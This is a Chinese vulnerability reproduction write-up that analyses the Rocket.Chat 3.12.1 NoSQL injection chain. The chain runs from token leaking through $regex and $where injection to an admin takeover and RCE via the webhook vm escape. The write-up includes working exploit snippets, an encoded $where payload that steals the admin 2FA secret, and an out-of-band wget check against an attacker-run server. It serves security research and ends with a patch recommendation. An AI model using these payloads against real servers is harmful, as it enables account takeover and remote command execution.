文章首发于 paper.seebug.org。
0x01 简述
Rocket.Chat 是一个开源的完全可定制的通信平台,由 Javascript 开发,适用于具有高标准数据保护的组织。
2021年3月19日,该漏洞在 HackerOne 被提出,于2021年4月14日被官方修复。该漏洞主要是因为 Mongodb 的查询语句是类 JSON 形式的,如{"_id":"1"}
。由于对用户的输入没有进行严格的检查,攻击者可以通过将查询语句从原来的字符串变为恶意的对象,例如{"_id":{"$ne":1}}
即可查询 _id 值不等于 1 的数据。
影响版本
3.12.1<= Rocket.Chat <=3.13.2
0x02 复现
复现环境为 Rocket.Chat 3.12.1。
使用 pocsuite3 编写 PoC,利用 verify 模式验证。
0x03 漏洞分析
该漏洞包含了两处不同的注入,漏洞细节可以在这篇文章中找到,同时还可以找到文章作者给出的 exp。第一处在server/methods/getPasswordPolicy.js,通过 NoSQL 注入来泄露重置密码的 token。
getPasswordPolicy(params) {
const user = Users.findOne({ 'services.password.reset.token': params.token });
if (!user && !Meteor.userId()) {
throw new Meteor.Error('error-invalid-user', 'Invalid user', {
method: 'getPasswordPolicy',
});
}
return passwordPolicy.getPasswordPolicy();
}
这里的 params 是用户传入的参数,正常来说,params.token 是一串随机字符串,但在这里可以传一个包含正则表达式的查询语句 {'$regex':'^A'}
,例如下面这个例子意为查找一处 token 是以大写字母 A 为开头的数据。通过这个漏洞就可以逐字符的爆破修改密码所需的 token。
Users.findOne({
'services.password.reset.token': {
'$regex': '^A'
}
})
第二处漏洞在 app/api/server/v1/users.js,需要登陆后的用户才能访问,通过这处注入攻击者可以获得包括 admin 在内的所有用户的信息。注入点代码如下:
API.v1.addRoute('users.list', { authRequired: true }, {
get() {
// ...
const { sort, fields, query } = this.parseJsonQuery();
const users = Users.find(query, {/*...*/}).fetch();
return API.v1.success({
users,
// ...
});
},
});
这处注入需要了解的知识点是,mongo 中的 $where 语句,根据文档,查询语句以这种形式展现 { $where: <string|JavaScript Code> }
,因此攻击者可以注入 JavaScript 代码,通过将搜索的结果以报错的形式输出。光说可能难以理解,通过一个例子就能很好地说明了。
攻击者可以传入这样的 query:{"$where":"this.username==='admin' && (()=>{ throw this.secret })()"}
,就会构成下面这样的查询语句,意为查询 username 为 admin 的用户并将他的信息通过报错输出。
Users.find(
{
"$where":"this.username==='admin' && (()=>{ throw JSON.stringify(this) })()"
},
{/*...*/}
).fetch();
通过这个漏洞,就可以获得 admin 的修改密码的 token 和 2FA 的密钥,即可修改 admin 的密码,达到了提权的目的。Rocket.Chat 还为管理员账户提供了创建 web hooks 的功能,这个功能用到了 Node.js 的 vm 模块,而 vm 模块可以通过简单的原型链操作被逃逸,达到任意命令执行的效果。至此,我们了解到了这一个命令执行漏洞的所有细节,接下来就通过分析漏洞发现者提供的 exp 来讲一下漏洞利用的过程。
0x04 漏洞利用
这部分内容基于漏洞发现者给出的 exp,并结合我在复现过程中遇到的问题提出改进意见。
# Getting Low Priv user
print(f"[+] Resetting {lowprivmail} password")
## Sending Reset Mail
forgotpassword(lowprivmail,target)
## Getting reset token through blind nosql injection
token = resettoken(target)
## Changing Password
changingpassword(target,token)
首先通过 getPasswordPolicy() 处的 token 泄露漏洞,修改普通用户的密码。然而需要注意的是,修改密码的 token 长度为 43 个字符,这个爆破的工作量是很大的,且耗时非常长。因此在获取普通用户权限这一步,可以直接通过注册功能完成,而不需要爆破验证的 token。试想若是攻击目标关闭了注册功能,那意味着我们无法获取到已注册用户的信息,也就无计可施了。
# Privilege Escalation to admin
## Getting secret for 2fa
secret = twofactor(target,lowprivmail)
第二步是获取管理员账号的 2FA 密钥,其中的 twofactor() 利用了第二处漏洞。
def twofactor(url,email):
# Authenticating
# ...
print(f"[+] Succesfully authenticated as {email}")
# Getting 2fa code
cookies = {'rc_uid': userid,'rc_token': token}
headers={'X-User-Id': userid,'X-Auth-Token': token}
payload = '/api/v1/users.list?query={"$where"%3a"this.username%3d%3d%3d\'admin\'+%26%26+(()%3d>{+throw+this.services.totp.secret+})()"}'
r = requests.get(url+payload,cookies=cookies,headers=headers)
code = r.text[46:98]
在这个函数中直接默认了管理员账号的 username 为 “admin”,但是经过测试,并不是所有可攻击的目标都以 “admin” 作为 username,那么就需要一种方法来获取管理员账号的 username。观察 mongodb 中存储的用户数据:
{
"_id" : "x",
...
"services" : {
"password" : {
...
},
...,
"emails" : [ {
"address" : "x@x.com",
"verified" : true
} ],
"roles" : [ "admin" ],
"name" : "username",
...
}
每一个用户字段中都有一条{"roles":[""]}
,通过{"$where":"this.roles.indexOf('admin')>=0"}
来查询管理员账号的信息,随后便可获取管理员的 username。
第三步是修改管理员账号的密码,以获得 admin 的权限。
## Sending Reset mail
print(f"[+] Resetting {adminmail} password")
forgotpassword(adminmail,target)
## Getting admin reset token through nosql injection authenticated
token = admin_token(target,lowprivmail)
## Resetting Password
code = oathtool.generate_otp(secret)
changingadminpassword(target,token,code)
其中 forgotpassword() 这一步不可缺少,因为每次通过 reset token 来修改密码以后,后台会自动删除该 token。在本地测试的时候,因为没有 forgotpassword() 这一步,所以每次执行过 changingadminpassword() 以后,都会因为缺少 reset token 导致下一次 PoC 执行失败。通过断点调试找到了问题所在。
在.meteor/local/build/programs/server/packages/accounts-password.js line 1016
resetPassword: function () {
// ...
try {
// Update the user record by:
// - Changing the password to the new one
// - Forgetting about the reset token that was just used
// - Verifying their email, since they got the password reset via email.
const affectedRecords = Meteor.users.update({
'services.password.reset.token': token
}, {
$unset: {
'services.password.reset': 1,
}
});
}
}
每一次执行 resetPassword() 以后,都会清空 token。同样在这个文件中,可以找到用于生成 reset.token 的函数 generateResetToken()。在此文件中共有三次出现,其中一次是函数定义,两次是调用,分别于第 898 行和第 938 行被 sendResetPasswordEmail() 和 sendEnrollmentEmail() 调用。
Accounts.sendResetPasswordEmail = (userId, email, extraTokenData) => {
const {/*...*/} = Accounts.generateResetToken(userId, email, 'resetPassword', extraTokenData);
sendResetPasswordEmail() 在申请重置密码的时候被调用,sendEnrollmentEmail() 在用户刚注册的时候被调用。因此,想要获得 reset.token 的值,就要先发起一个重置密码的请求,让后台发送一封重置密码的邮件。
最后一步就是执行任意命令了。
## Authenticating and triggering rce
while True:
cmd = input("CMD:> ")
code = oathtool.generate_otp(secret)
rce(target,code,cmd)
由于命令执行没有回显,因此我的做法是在本地监听一个端口起一个 HTTP 服务器,然后执行 wget HTTP服务器地址/${random_str}
,如果 HTTP 服务器收到了路由为 /${random_str}
的请求,则证明该服务存在漏洞。
0x05 后记
这次复现经过了挺长的时间,主要是由于这个漏洞利用的条件比较苛刻,需要满足各种限制条件,比如需要开放注册功能、管理员账号开启了 2FA、被攻击目标的版本满足要求。不过通过耐心的分析,把复现过程中遇到的问题一一解决,我还是很高兴的。
0x06 防护方案
1、更新 Rocket.Chat 至官方发布的最新版。
0x07 相关链接
3、NoSQL Injections in Rocket.Chat 3.12.1: How A Small Leak Grounds A Rocket
4、Rocket.Chat 3.12.1 - NoSQL Injection to RCE (Unauthenticated) (2)
5、mongo 文档